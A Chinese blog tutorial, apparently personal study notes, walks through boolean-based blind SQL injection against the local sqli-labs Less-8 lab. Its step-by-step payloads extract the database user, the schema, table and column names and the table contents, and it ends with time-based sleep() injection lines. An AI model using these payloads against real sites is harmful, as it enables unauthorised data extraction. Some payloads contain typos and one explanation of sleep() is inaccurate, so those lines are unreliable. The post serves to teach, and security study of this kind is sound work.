SQL盲注--基于布尔类型的注入 2018/11/14

    在一些站点隐藏了错误信息的情况下,联合查询以及报错注入的方法均无法注入出数据的时候,需要用到盲注的方法来进行注入。
   基于布尔的盲注是根据页面差来进行判断和数据注入的。在存在注入的页面输入and(true)则返回页面1;输入and(2)则返回页面2.而页面1和页面2有差别,常见的情况是页面1是正常页面,页面2是错误页面。
    substr(str,pos,len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始的。
    大致形式为 id =1‘ and 1(这里的1为select语句替换) = 1(这里的1为实际判断长度替换)

下面是实验:
1,判断当前数据库用户名的长度(用于逐位猜测用户名)。
http://127.0.0.1:8010/sql/Less-8?id=1’ and (select length(user()))=14 --+ //可以看到当前数据库用户名长度为14,有必要提一下这里的user()和database()一样是一个函数,指当前数据库用户名。
在这里插入图片描述

2,逐步猜解当前数据库用户名
and(select ascii sunstr(user(),1,1)) =114 --+ //这里用ascii码值返回用户名,返回的为用户名第一个字节的ascii码值,可以通过ascii转码得出第一位为r。之后一共还有14为数字,把user()后面的数字一次从1改到14判断即可,这里不再一一列举,用户名为root@localhost

在这里插入图片描述
在这里插入图片描述

3,判断当前数据库长度
and(select length(database()))=8 --+
在这里插入图片描述
4,逐步判断当前数据库的名字
and(select ascii(substr(database(),1,1)))=115 --+//经ascii转换可知第一为为s,依次转换下去即可知当前数据库为security在这里插入图片描述

5,判断security数据库中有多少个表名,即有多少个表
and(select count(table_name) from information_schema.tables where table_schema = ‘security’)=4 --+ //这里count()指获取数量,已经判断出security数据库下有4个表
在这里插入图片描述
6,猜测第一个表的长度,从而逐步猜测第一个表的各个表名。
and(select length(table_name)from information_schema.tables where table.schema=‘security’ limit 0,1)=6 --+ //这里limit表示从第一行开始输出,一共输出一行
在这里插入图片描述
7,逐步猜测第一个表的六个字符
and(select ascii(substr(table_name,1,1) from information_schema.tables where table_schema = ‘security’ limit 0,1)= 101 --+ // 这里判断出第一个字符为e 修改table_name后的参数为2,3,4,5,6可以依次查看出此表的剩下字符,修改limit后的参数依次为1,2,3。可以将查看的行数依次移到2,3,4行。经查阅此表全名为emails。
在这里插入图片描述
8,猜测表emails有多少个字段,即有多少个列名
and(select count(column_name) from information_schema.columns where table_name =‘emails’)=2 --+ //这里判断出有两个字段
在这里插入图片描述
9,模仿刚才查看表明的方法,依次判断字段长度
and(select length(column_name) from information_schema.columns where table_name = ‘emails’ limit 0,1)=2 //不难判断出emails表下有两个字段
在这里插入图片描述
10,根据刚才判断表名的方法来判断列名
and(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name=‘emails’ limit 0,1)=105–+ //猜测出字段名为id,emails_id
在这里插入图片描述
11,依次猜测各字段下内容数量
and(select count(id) from emails)=8 --+ //可以看见id下有八条内容
在这里插入图片描述
12,从第一行开始依字段猜测内容
and(select ascii(substr(id,1,1)) from emails limit 0,1)=49–+ //猜测剩余表内内容,可依此修改substr()和limit中的参数 substr中的第二个参数代表从第几列输出,limit中的第一个参数代表从第几行输出。
在这里插入图片描述
至此,一次基于布尔的盲注就结束了。
包括基于时间类型的盲注,可以通过类似于
and if(1=1,(sleep(6),1)
and if(1=2,sleep(6),1)
来判断是否存在时间注入漏洞,这里sleep指的是休眠时间,即条件为真时休眠6秒执行,否则1秒后即执行。
和本文的and 1=1查看返回页是否相同是类似的方法,就不再一一细述。

本文仅为笔者笔记,如有差错请及时联系更正,欢迎大家共同交流学习心得,非常感谢!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值